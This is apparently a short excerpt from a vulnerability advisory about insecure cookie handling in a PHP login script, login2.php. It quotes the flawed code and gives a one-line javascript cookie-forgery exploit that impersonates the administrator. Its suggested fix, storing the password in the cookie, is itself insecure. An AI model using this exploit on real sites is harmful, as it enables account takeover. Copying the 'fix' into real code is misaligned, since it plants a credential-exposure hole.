[0x02] Bug: [Insecure Cookie Handling]  
######  
  
Bugged file is: /[path]/login2.php  
  
[CODE]  
  
else {  
setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");  
header("Location: index.php");  
exit;  
}  
  
[/CODE]  
  
If we log in correctly, a cookie is set with name "logged_in" and as content the username name.  
  
[!] FIX: Set as content username's password.  
  
[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]  
  
  
[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";  
*admin_username is the nick of the administrator
